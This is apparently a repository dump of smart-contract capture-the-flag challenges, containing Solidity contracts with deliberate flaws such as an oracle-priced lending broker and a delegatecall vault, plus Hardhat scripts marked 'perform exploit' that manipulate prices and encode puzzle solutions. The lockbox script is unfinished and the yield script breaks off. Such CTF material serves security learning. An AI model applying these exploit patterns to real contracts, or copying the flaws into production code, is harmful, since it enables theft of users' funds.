THE USE OR OTHER DEALINGS IN THE 24 | * SOFTWARE. 25 | */ 26 | 27 | pragma solidity 0.6.12; 28 | 29 | import "./Ownable.sol"; 30 | 31 | /** 32 | * @title Blacklistable Token 33 | * @dev Allows accounts to be blacklisted by a "blacklister" role 34 | */ 35 | contract Blacklistable is Ownable { 36 | address public blacklister; 37 | mapping(address => bool) internal blacklisted; 38 | 39 | event Blacklisted(address indexed _account); 40 | event UnBlacklisted(address indexed _account); 41 | event BlacklisterChanged(address indexed newBlacklister); 42 | 43 | /** 44 | * @dev Throws if called by any account other than the blacklister 45 | */ 46 | modifier onlyBlacklister() { 47 | require(msg.sender == blacklister, "Blacklistable: caller is not the blacklister"); 48 | _; 49 | } 50 | 51 | /** 52 | * @dev Throws if argument account is blacklisted 53 | * @param _account The address to check 54 | */ 55 | modifier notBlacklisted(address _account) { 56 | require(!blacklisted[_account], "Blacklistable: account is blacklisted"); 57 | _; 58 | } 59 | 60 | /** 61 | * @dev Checks if account is blacklisted 62 | * @param _account The address to check 63 | */ 64 | function isBlacklisted(address _account) external view returns (bool) { 65 | return blacklisted[_account]; 66 | } 67 | 68 | /** 69 | * @dev Adds account to blacklist 70 | * @param _account The address to blacklist 71 | */ 72 | function blacklist(address _account) external onlyBlacklister { 73 | blacklisted[_account] = true; 74 | emit Blacklisted(_account); 75 | } 76 | 77 | /** 78 | * @dev Removes account from blacklist 79 | * @param _account The address to remove from the blacklist 80 | */ 81 | function unBlacklist(address _account) external onlyBlacklister { 82 | blacklisted[_account] = false; 83 | emit UnBlacklisted(_account); 84 | } 85 | 86 | function updateBlacklister(address _newBlacklister) external onlyOwner { 87 | require( 88 | _newBlacklister != address(0), 89 | "Blacklistable: new blacklister is the zero address" 90 | ); 91 | blacklister = _newBlacklister; 92 | emit BlacklisterChanged(blacklister); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /contracts/upgrade/Pausable.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v1/Pausable.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2016 Smart Contract Solutions, Inc. 7 | * Copyright (c) 2018-2020 CENTRE SECZ0 8 | * 9 | * Permission is hereby granted, free of charge, to any person obtaining a copy 10 | * of this software and associated documentation files (the "Software"), to deal 11 | * in the Software without restriction, including without limitation the rights 12 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 13 | * copies of the Software, and to permit persons to whom the Software is 14 | * furnished to do so, subject to the following conditions: 15 | * 16 | * The above copyright notice and this permission notice shall be included in 17 | * copies or substantial portions of the Software. 18 | * 19 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 20 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 21 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 22 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 23 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 24 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 25 | * SOFTWARE. 26 | */ 27 | 28 | pragma solidity 0.6.12; 29 | 30 | import "./Ownable.sol"; 31 | 32 | /** 33 | * @notice Base contract which allows children to implement an emergency stop 34 | * mechanism 35 | * @dev Forked from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/feb665136c0dae9912e08397c1a21c4af3651ef3/contracts/lifecycle/Pausable.sol 36 | * Modifications: 37 | * 1. Added pauser role, switched pause/unpause to be onlyPauser (6/14/2018) 38 | * 2. Removed whenNotPause/whenPaused from pause/unpause (6/14/2018) 39 | * 3. Removed whenPaused (6/14/2018) 40 | * 4. Switches ownable library to use ZeppelinOS (7/12/18) 41 | * 5. Remove constructor (7/13/18) 42 | * 6. Reformat, conform to Solidity 0.6 syntax and add error messages (5/13/20) 43 | * 7. Make public functions external (5/27/20) 44 | */ 45 | contract Pausable is Ownable { 46 | event Pause(); 47 | event Unpause(); 48 | event PauserChanged(address indexed newAddress); 49 | 50 | address public pauser; 51 | bool public paused = false; 52 | 53 | /** 54 | * @dev Modifier to make a function callable only when the contract is not paused. 55 | */ 56 | modifier whenNotPaused() { 57 | require(!paused, "Pausable: paused"); 58 | _; 59 | } 60 | 61 | /** 62 | * @dev throws if called by any account other than the pauser 63 | */ 64 | modifier onlyPauser() { 65 | require(msg.sender == pauser, "Pausable: caller is not the pauser"); 66 | _; 67 | } 68 | 69 | /** 70 | * @dev called by the owner to pause, triggers stopped state 71 | */ 72 | function pause() external onlyPauser { 73 | paused = true; 74 | emit Pause(); 75 | } 76 | 77 | /** 78 | * @dev called by the owner to unpause, returns to normal state 79 | */ 80 | function unpause() external onlyPauser { 81 | paused = false; 82 | emit Unpause(); 83 | } 84 | 85 | /** 86 | * @dev update the pauser role 87 | */ 88 | function updatePauser(address _newPauser) external onlyOwner { 89 | require(_newPauser != address(0), "Pausable: new pauser is the zero address"); 90 | pauser = _newPauser; 91 | emit PauserChanged(pauser); 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /contracts/broker/Broker.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | interface IUniswapV2Pair { 4 | function mint(address to) external returns (uint256 liquidity); 5 | 6 | function getReserves() 7 | external 8 | view 9 | returns ( 10 | uint112 _reserve0, 11 | uint112 _reserve1, 12 | uint32 _blockTimestampLast 13 | ); 14 | 15 | function swap( 16 | uint256 amount0Out, 17 | uint256 amount1Out, 18 | address to, 19 | bytes calldata data 20 | ) external; 21 | } 22 | 23 | interface ERC20Like { 24 | function transfer(address dst, uint256 qty) external returns (bool); 25 | 26 | function transferFrom( 27 | address src, 28 | address dst, 29 | uint256 qty 30 | ) external returns (bool); 31 | 32 | function approve(address dst, uint256 qty) external returns (bool); 33 | 34 | function balanceOf(address who) external view returns (uint256); 35 | } 36 | 37 | interface WETH9 is ERC20Like { 38 | function deposit() external payable; 39 | } 40 | 41 | // a simple overcollateralized loan bank which accepts WETH as collateral and a 42 | // token for borrowing. 0% APRs 43 | contract Broker { 44 | IUniswapV2Pair public pair; 45 | WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 46 | ERC20Like public token; 47 | 48 | mapping(address => uint256) public deposited; 49 | mapping(address => uint256) public debt; 50 | 51 | constructor(IUniswapV2Pair _pair, ERC20Like _token) { 52 | pair = _pair; 53 | token = _token; 54 | } 55 | 56 | function rate() public view returns (uint256) { 57 | (uint112 _reserve0, uint112 _reserve1, ) = pair.getReserves(); 58 | uint256 _rate = uint256(_reserve0 / _reserve1); 59 | return _rate; 60 | } 61 | 62 | function safeDebt(address user) public view returns (uint256) { 63 | return (deposited[user] * rate() * 2) / 3; 64 | } 65 | 66 | // borrow some tokens 67 | function borrow(uint256 amount) public { 68 | debt[msg.sender] += amount; 69 | require(safeDebt(msg.sender) >= debt[msg.sender], "err: undercollateralized"); 70 | token.transfer(msg.sender, amount); 71 | } 72 | 73 | // repay your loan 74 | function repay(uint256 amount) public { 75 | debt[msg.sender] -= amount; 76 | token.transferFrom(msg.sender, address(this), amount); 77 | } 78 | 79 | // repay a user's loan and get back their collateral. no discounts. 80 | function liquidate(address user, uint256 amount) public returns (uint256) { 81 | require(safeDebt(user) <= debt[user], "err: overcollateralized"); 82 | debt[user] -= amount; 83 | token.transferFrom(msg.sender, address(this), amount); 84 | uint256 collateralValueRepaid = amount / rate(); 85 | weth.transfer(msg.sender, collateralValueRepaid); 86 | return collateralValueRepaid; 87 | } 88 | 89 | // top up your collateral 90 | function deposit(uint256 amount) public { 91 | deposited[msg.sender] += amount; 92 | weth.transferFrom(msg.sender, address(this), amount); 93 | } 94 | 95 | // remove collateral 96 | function withdraw(uint256 amount) public { 97 | deposited[msg.sender] -= amount; 98 | require(safeDebt(msg.sender) >= debt[msg.sender], "err: undercollateralized"); 99 | 100 | weth.transfer(msg.sender, amount); 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /problems/lockbox/public/contracts/Lockbox.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | contract Stage { 4 | Stage public next; 5 | 6 | constructor(Stage next_) public { 7 | next = next_; 8 | } 9 | 10 | function getSelector() public view returns (bytes4); 11 | 12 | modifier _() { 13 | _; 14 | 15 | assembly { 16 | let next := sload(next_slot) 17 | if iszero(next) { 18 | return(0, 0) 19 | } 20 | 21 | mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000) 22 | pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04)) 23 | calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04)) 24 | switch call(gas(), next, 0, 0, calldatasize(), 0, 0) 25 | case 0 { 26 | returndatacopy(0x00, 0x00, returndatasize()) 27 | revert(0x00, returndatasize()) 28 | } 29 | case 1 { 30 | returndatacopy(0x00, 0x00, returndatasize()) 31 | return(0x00, returndatasize()) 32 | } 33 | } 34 | } 35 | } 36 | 37 | contract Entrypoint is Stage { 38 | constructor() public Stage(new Stage1()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; } 39 | 40 | bool public solved; 41 | 42 | function solve(bytes4 guess) public _ { 43 | require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?"); 44 | 45 | solved = true; 46 | } 47 | } 48 | 49 | contract Stage1 is Stage { 50 | constructor() public Stage(new Stage2()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; } 51 | 52 | function solve(uint8 v, bytes32 r, bytes32 s) public _ { 53 | require(ecrecover(keccak256("stage1"), v, r, s) == 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, "who are you?"); 54 | } 55 | } 56 | 57 | contract Stage2 is Stage { 58 | constructor() public Stage(new Stage3()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; } 59 | 60 | function solve(uint16 a, uint16 b) public _ { 61 | require(a > 0 && b > 0 && a + b < a, "something doesn't add up"); 62 | } 63 | } 64 | 65 | contract Stage3 is Stage { 66 | constructor() public Stage(new Stage4()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; } 67 | 68 | function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ { 69 | require(keys[idx % 4] == lock[idx % 4], "key did not fit lock"); 70 | 71 | for (uint i = 0; i < keys.length - 1; i++) { 72 | require(keys[i] < keys[i + 1], "out of order"); 73 | } 74 | 75 | for (uint j = 0; j < keys.length; j++) { 76 | require((keys[j] - lock[j]) % 2 == 0, "this is a bit odd"); 77 | } 78 | } 79 | } 80 | 81 | contract Stage4 is Stage { 82 | constructor() public Stage(new Stage5()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; } 83 | 84 | function solve(bytes32[6] choices, uint choice) public _ { 85 | require(choices[choice % 6] == keccak256(abi.encodePacked("choose")), "wrong choice!"); 86 | } 87 | } 88 | 89 | contract Stage5 is Stage { 90 | constructor() public Stage(Stage(0x00)) {} function getSelector() public view returns (bytes4) { return this.solve.selector; } 91 | 92 | function solve() public _ { 93 | require(msg.data.length < 256, "a little too long"); 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /task/farmer.ts: -------------------------------------------------------------------------------- 1 | import IUniswapV2Router02 from '@uniswap/v2-periphery/build/IUniswapV2Router02.json' 2 | import { constants, Contract } from 'ethers' 3 | import { formatEther, parseEther } from 'ethers/lib/utils' 4 | import { task } from 'hardhat/config' 5 | import { getTimestamp } from './utils' 6 | 7 | task('farmer') 8 | .addOptionalPositionalParam('setupAddress') 9 | .setAction(async ({ setupAddress }, { run, ethers }) => { 10 | await run('compile') 11 | 12 | // get signer 13 | 14 | const signer = (await ethers.getSigners())[0] 15 | console.log('Signer', signer.address) 16 | 17 | // setup problem 18 | 19 | let setup: Contract 20 | if (setupAddress) { 21 | setup = await ethers.getContractAt( 22 | 'contracts/farmer/Setup.sol:Setup', 23 | setupAddress, 24 | ) 25 | } else { 26 | setup = await ( 27 | await ethers.getContractFactory('contracts/farmer/Setup.sol:Setup') 28 | ).deploy({ value: parseEther('50') }) 29 | } 30 | console.log('Setup') 31 | console.log(' at', setup.address) 32 | 33 | // init contracts 34 | 35 | const weth = await ethers.getContractAt( 36 | 'contracts/farmer/Farmer.sol:WETH9', 37 | '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2', 38 | ) 39 | console.log('WETH9') 40 | console.log(' at', weth.address) 41 | 42 | const faucet = await ethers.getContractAt( 43 | 'CompFaucet', 44 | await setup.faucet(), 45 | ) 46 | console.log('CompFaucet') 47 | console.log(' at', faucet.address) 48 | 49 | const farmer = await ethers.getContractAt( 50 | 'CompDaiFarmer', 51 | await setup.farmer(), 52 | ) 53 | console.log('CompDaiFarmer') 54 | console.log(' at', farmer.address) 55 | 56 | const comp = await ethers.getContractAt('MockERC20', await setup.COMP()) 57 | console.log('COMP') 58 | console.log(' at', comp.address) 59 | 60 | const dai = await ethers.getContractAt('MockERC20', await setup.DAI()) 61 | console.log('DAI') 62 | console.log(' at', dai.address) 63 | 64 | const cdai = await ethers.getContractAt('MockERC20', await setup.CDAI()) 65 | console.log('CDAI') 66 | console.log(' at', cdai.address) 67 | 68 | const router = await ethers.getContractAt( 69 | IUniswapV2Router02.abi, 70 | await setup.ROUTER(), 71 | ) 72 | console.log('UniRouter') 73 | console.log(' at', router.address) 74 | 75 | // perform exploit 76 | 77 | const logBalances = async () => { 78 | console.log() 79 | console.log('COMP') 80 | console.log(' faucet', formatEther(await comp.balanceOf(faucet.address))) 81 | console.log(' farmer', formatEther(await comp.balanceOf(farmer.address))) 82 | console.log('DAI') 83 | console.log(' farmer', formatEther(await dai.balanceOf(farmer.address))) 84 | } 85 | 86 | await logBalances() 87 | console.log(' max', formatEther(await farmer.peekYield())) 88 | 89 | await faucet.claimComp(constants.AddressZero, [constants.AddressZero]) 90 | 91 | await logBalances() 92 | 93 | // function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) 94 | await router.swapExactETHForTokens( 95 | 0, 96 | [weth.address, dai.address], 97 | signer.address, 98 | (await getTimestamp(signer)) + 1000, 99 | { value: parseEther('50') }, 100 | ) 101 | 102 | await farmer.recycle() 103 | 104 | await logBalances() 105 | 106 | // verify 107 | 108 | console.log('Success?', await setup.isSolved()) 109 | }) 110 | -------------------------------------------------------------------------------- /contracts/upgrade/ECRecover.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/util/ECRecover.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2016-2019 zOS Global Limited 7 | * Copyright (c) 2018-2020 CENTRE SECZ 8 | * 9 | * Permission is hereby granted, free of charge, to any person obtaining a copy 10 | * of this software and associated documentation files (the "Software"), to deal 11 | * in the Software without restriction, including without limitation the rights 12 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 13 | * copies of the Software, and to permit persons to whom the Software is 14 | * furnished to do so, subject to the following conditions: 15 | * 16 | * The above copyright notice and this permission notice shall be included in 17 | * copies or substantial portions of the Software. 18 | * 19 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 20 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 21 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 22 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 23 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 24 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 25 | * SOFTWARE. 26 | */ 27 | 28 | pragma solidity 0.6.12; 29 | 30 | /** 31 | * @title ECRecover 32 | * @notice A library that provides a safe ECDSA recovery function 33 | */ 34 | library ECRecover { 35 | /** 36 | * @notice Recover signer's address from a signed message 37 | * @dev Adapted from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/65e4ffde586ec89af3b7e9140bdc9235d1254853/contracts/cryptography/ECDSA.sol 38 | * Modifications: Accept v, r, and s as separate arguments 39 | * @param digest Keccak-256 hash digest of the signed message 40 | * @param v v of the signature 41 | * @param r r of the signature 42 | * @param s s of the signature 43 | * @return Signer address 44 | */ 45 | function recover( 46 | bytes32 digest, 47 | uint8 v, 48 | bytes32 r, 49 | bytes32 s 50 | ) internal pure returns (address) { 51 | // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature 52 | // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines 53 | // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most 54 | // signatures from current libraries generate a unique signature with an s-value in the lower half order. 55 | // 56 | // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value 57 | // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or 58 | // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept 59 | // these malleable signatures as well. 60 | if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { 61 | revert("ECRecover: invalid signature 's' value"); 62 | } 63 | 64 | if (v != 27 && v != 28) { 65 | revert("ECRecover: invalid signature 'v' value"); 66 | } 67 | 68 | // If the signature is valid (and not malleable), return the signer address 69 | address signer = ecrecover(digest, v, r, s); 70 | require(signer != address(0), "ECRecover: invalid signature"); 71 | 72 | return signer; 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /contracts/upgrade/Permit.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v2/Permit.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018-2020 CENTRE SECZ 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | * SOFTWARE. 25 | */ 26 | 27 | pragma solidity 0.6.12; 28 | 29 | import "./AbstractFiatTokenV2.sol"; 30 | import "./EIP712.sol"; 31 | import "./EIP712Domain.sol"; 32 | 33 | /** 34 | * @title Permit 35 | * @notice An alternative to approveWithAuthorization, provided for 36 | * compatibility with the draft EIP2612 proposed by Uniswap. 37 | * @dev Differences: 38 | * - Uses sequential nonce, which restricts transaction submission to one at a 39 | * time, or else it will revert 40 | * - Has deadline (= validBefore - 1) but does not have validAfter 41 | * - Doesn't have a way to change allowance atomically to prevent ERC20 multiple 42 | * withdrawal attacks 43 | */ 44 | abstract contract Permit is AbstractFiatTokenV2, EIP712Domain { 45 | bytes32 public constant PERMIT_TYPEHASH = 46 | 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; 47 | // = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") 48 | 49 | mapping(address => uint256) private _permitNonces; 50 | 51 | /** 52 | * @notice Nonces for permit 53 | * @param owner Token owner's address (Authorizer) 54 | * @return Next nonce 55 | */ 56 | function nonces(address owner) external view returns (uint256) { 57 | return _permitNonces[owner]; 58 | } 59 | 60 | /** 61 | * @notice Verify a signed approval permit and execute if valid 62 | * @param owner Token owner's address (Authorizer) 63 | * @param spender Spender's address 64 | * @param value Amount of allowance 65 | * @param deadline The time at which this expires (unix time) 66 | * @param v v of the signature 67 | * @param r r of the signature 68 | * @param s s of the signature 69 | */ 70 | function _permit( 71 | address owner, 72 | address spender, 73 | uint256 value, 74 | uint256 deadline, 75 | uint8 v, 76 | bytes32 r, 77 | bytes32 s 78 | ) internal { 79 | require(deadline >= now, "FiatTokenV2: permit is expired"); 80 | 81 | bytes memory data = 82 | abi.encode(PERMIT_TYPEHASH, owner, spender, value, _permitNonces[owner]++, deadline); 83 | require( 84 | EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == owner, 85 | "FiatTokenV2: invalid signature" 86 | ); 87 | 88 | _approve(owner, spender, value); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /task/lockbox.ts: -------------------------------------------------------------------------------- 1 | import { constants, Contract, utils, Wallet } from 'ethers' 2 | import { AbiCoder, defaultAbiCoder, solidityKeccak256 } from 'ethers/lib/utils' 3 | import { task } from 'hardhat/config' 4 | 5 | task('lockbox') 6 | .addOptionalPositionalParam('setupAddress') 7 | .setAction(async ({ setupAddress }, { run, ethers }) => { 8 | await run('compile') 9 | 10 | // get signer 11 | 12 | const signer = (await ethers.getSigners())[0] 13 | console.log('Signer', signer.address) 14 | 15 | // setup problem 16 | 17 | let setup: Contract 18 | if (setupAddress) { 19 | setup = await ethers.getContractAt( 20 | 'contracts/lockbox/Setup.sol:Setup', 21 | setupAddress, 22 | ) 23 | } else { 24 | setup = await ( 25 | await ethers.getContractFactory('contracts/lockbox/Setup.sol:Setup') 26 | ).deploy() 27 | } 28 | console.log('Setup') 29 | console.log(' at', setup.address) 30 | 31 | // init contracts 32 | 33 | const entrypoint = await ethers.getContractAt( 34 | 'Entrypoint', 35 | await setup.entrypoint(), 36 | ) 37 | console.log('Entrypoint') 38 | console.log(' at', entrypoint.address) 39 | 40 | const stage1 = await ethers.getContractAt( 41 | 'Stage1', 42 | await setup.entrypoint(), 43 | ) 44 | const stage2 = await ethers.getContractAt( 45 | 'Stage2', 46 | await setup.entrypoint(), 47 | ) 48 | const stage3 = await ethers.getContractAt( 49 | 'Stage3', 50 | await setup.entrypoint(), 51 | ) 52 | const stage4 = await ethers.getContractAt( 53 | 'Stage4', 54 | await setup.entrypoint(), 55 | ) 56 | const stage5 = await ethers.getContractAt( 57 | 'Stage5', 58 | await setup.entrypoint(), 59 | ) 60 | 61 | // perform exploit 62 | const zero = entrypoint.interface.encodeFunctionData('solve(bytes4)', [ 63 | (await signer.provider?.getBlock('latest'))?.hash?.slice(0, 10), 64 | ]) 65 | 66 | const sig = utils.splitSignature( 67 | await new Wallet( 68 | '0000000000000000000000000000000000000000000000000000000000000001', 69 | ).signMessage(solidityKeccak256(['string'], ['stage1'])), 70 | ) 71 | const one = stage1.interface.encodeFunctionData( 72 | 'solve(uint8,bytes32,bytes32)', 73 | [sig.v, sig.r, sig.s], 74 | ) 75 | 76 | const two = stage2.interface.encodeFunctionData('solve(uint256,uint256)', [ 77 | constants.MaxUint256, 78 | 1, 79 | ]) 80 | 81 | const three = stage3.interface.encodeFunctionData( 82 | 'solve(uint256,uint256[4],uint256[4])', 83 | [0, [0, 2, 4, 6], [0, 2, 4, 6]], 84 | ) 85 | 86 | const hash = solidityKeccak256(['string'], ['choose']) 87 | const four = stage4.interface.encodeFunctionData( 88 | 'solve(uint32[6],uint256)', 89 | [[hash, hash, hash, hash, hash, hash], 0], 90 | ) 91 | 92 | const five = stage5.interface.encodeFunctionData('solve()') 93 | 94 | // try sequence 95 | 96 | // await entrypoint.solve(guess?.slice(0, 10)) 97 | // await stage1.solve(sig.v, sig.r, sig.s) 98 | 99 | // try concat 100 | 101 | // const data = first.concat(second.slice(2)) 102 | 103 | // console.log('Data', data) 104 | 105 | // await signer.sendTransaction({ 106 | // to: entrypoint.address, 107 | // data, 108 | // }) 109 | 110 | // try batch 111 | 112 | // await ( 113 | // await ethers.getContractFactory('Execute') 114 | // ).deploy(entrypoint.address, [zero, one]) 115 | 116 | // verify 117 | 118 | console.log('Success?', await setup.isSolved()) 119 | }) 120 | -------------------------------------------------------------------------------- /problems/vault/public/contracts/Vault.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.16; 2 | 3 | import "./GuardConstants.sol"; 4 | import "./GuardRegistry.sol"; 5 | import "./Guard.sol"; 6 | 7 | contract ERC20Like { 8 | function transfer(address dst, uint qty) public returns (bool); 9 | function transferFrom(address src, address dst, uint qty) public returns (bool); 10 | } 11 | 12 | contract EIP1167Factory { 13 | // create eip-1167 clone 14 | function createClone(address target) internal returns (address result) { 15 | bytes20 targetBytes = bytes20(target); 16 | assembly { 17 | let clone := mload(0x40) 18 | mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) 19 | mstore(add(clone, 0x14), targetBytes) 20 | mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) 21 | result := create(0, clone, 0x37) 22 | } 23 | } 24 | } 25 | 26 | contract Vault is GuardConstants, EIP1167Factory { 27 | address public owner; 28 | address public pendingOwner; 29 | 30 | GuardRegistry public registry; 31 | 32 | Guard public guard; 33 | 34 | mapping(address => mapping(address => uint)) public balances; 35 | 36 | function Vault(GuardRegistry registry_) public { 37 | owner = msg.sender; 38 | registry = registry_; 39 | 40 | createGuard(registry.defaultImplementation()); 41 | } 42 | 43 | // create new guard instance 44 | function createGuard(bytes32 implementation) private returns (Guard) { 45 | address impl = registry.implementations(implementation); 46 | require(impl != address(0x00)); 47 | 48 | if (address(guard) != address(0x00)) { 49 | guard.cleanup(); 50 | } 51 | 52 | guard = Guard(createClone(impl)); 53 | guard.initialize(this); 54 | return guard; 55 | } 56 | 57 | // check access 58 | function checkAccess(string memory op) private returns (bool) { 59 | uint8 error; 60 | (error, ) = guard.isAllowed(msg.sender, op); 61 | 62 | return error == NO_ERROR; 63 | } 64 | 65 | // update the guard implementation 66 | function updateGuard(bytes32 impl) public returns (Guard) { 67 | require(checkAccess("updateGuard")); 68 | 69 | return createGuard(impl); 70 | } 71 | 72 | // deposit tokens 73 | function deposit(ERC20Like tok, uint amnt) public { 74 | require(checkAccess("deposit")); 75 | 76 | require(tok.transferFrom(msg.sender, address(this), amnt)); 77 | 78 | balances[msg.sender][address(tok)] += amnt; 79 | } 80 | 81 | // withdraw tokens 82 | function withdraw(ERC20Like tok, uint amnt) public { 83 | require(checkAccess("withdraw")); 84 | 85 | require(balances[msg.sender][address(tok)] >= amnt); 86 | 87 | tok.transfer(msg.sender, amnt); 88 | 89 | balances[msg.sender][address(tok)] -= amnt; 90 | } 91 | 92 | // rescue stuck tokens 93 | function emergencyCall(address target, bytes memory data) public { 94 | require(checkAccess("emergencyCall")); 95 | 96 | require(target.delegatecall(data)); 97 | } 98 | 99 | // transfer ownership to a new address 100 | function transferOwnership(address newOwner) public { 101 | require(msg.sender == owner); 102 | 103 | pendingOwner = newOwner; 104 | } 105 | 106 | // accept the ownership transfer 107 | function acceptOwnership() public { 108 | require(msg.sender == pendingOwner); 109 | 110 | owner = pendingOwner; 111 | pendingOwner = address(0x00); 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /task/yield.ts: -------------------------------------------------------------------------------- 1 | import { constants, Contract } from 'ethers' 2 | import { formatEther, parseEther } from 'ethers/lib/utils' 3 | import { task } from 'hardhat/config' 4 | 5 | task('yield') 6 | .addOptionalPositionalParam('setupAddress') 7 | .setAction(async ({ setupAddress }, { run, ethers }) => { 8 | await run('compile') 9 | 10 | // get signer 11 | 12 | const signer = (await ethers.getSigners())[0] 13 | console.log('Signer', signer.address) 14 | 15 | // setup problem 16 | 17 | let setup: Contract 18 | if (setupAddress) { 19 | setup = await ethers.getContractAt( 20 | 'contracts/yield_aggregator/Setup.sol:Setup', 21 | setupAddress, 22 | ) 23 | } else { 24 | setup = await ( 25 | await ethers.getContractFactory( 26 | 'contracts/yield_aggregator/Setup.sol:Setup', 27 | ) 28 | ).deploy({ value: parseEther('100') }) 29 | } 30 | console.log('Setup') 31 | console.log(' at', setup.address) 32 | 33 | // init contracts 34 | 35 | const weth = await ethers.getContractAt( 36 | 'contracts/yield_aggregator/Setup.sol:WETH9', 37 | '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2', 38 | ) 39 | console.log('WETH9') 40 | console.log(' at', weth.address) 41 | 42 | const bank = await ethers.getContractAt('MiniBank', await setup.bank()) 43 | console.log('MiniBank') 44 | console.log(' at', bank.address) 45 | 46 | const agg = await ethers.getContractAt( 47 | 'YieldAggregator', 48 | await setup.aggregator(), 49 | ) 50 | console.log('YieldAggregator') 51 | console.log(' at', agg.address) 52 | 53 | const baddy = await (await ethers.getContractFactory('MiniBank')).deploy() 54 | console.log('MiniBank') 55 | console.log(' at', baddy.address) 56 | 57 | // perform exploit 58 | 59 | const logBalances = async () => { 60 | console.log('WETH') 61 | console.log(' signer', formatEther(await weth.balanceOf(signer.address))) 62 | console.log(' setup ', formatEther(await weth.balanceOf(setup.address))) 63 | console.log(' bank ', formatEther(await weth.balanceOf(bank.address))) 64 | console.log(' agg ', formatEther(await weth.balanceOf(agg.address))) 65 | console.log('BAD') 66 | console.log( 67 | ' signer', 68 | formatEther(await baddy.balanceOf(signer.address)), 69 | ) 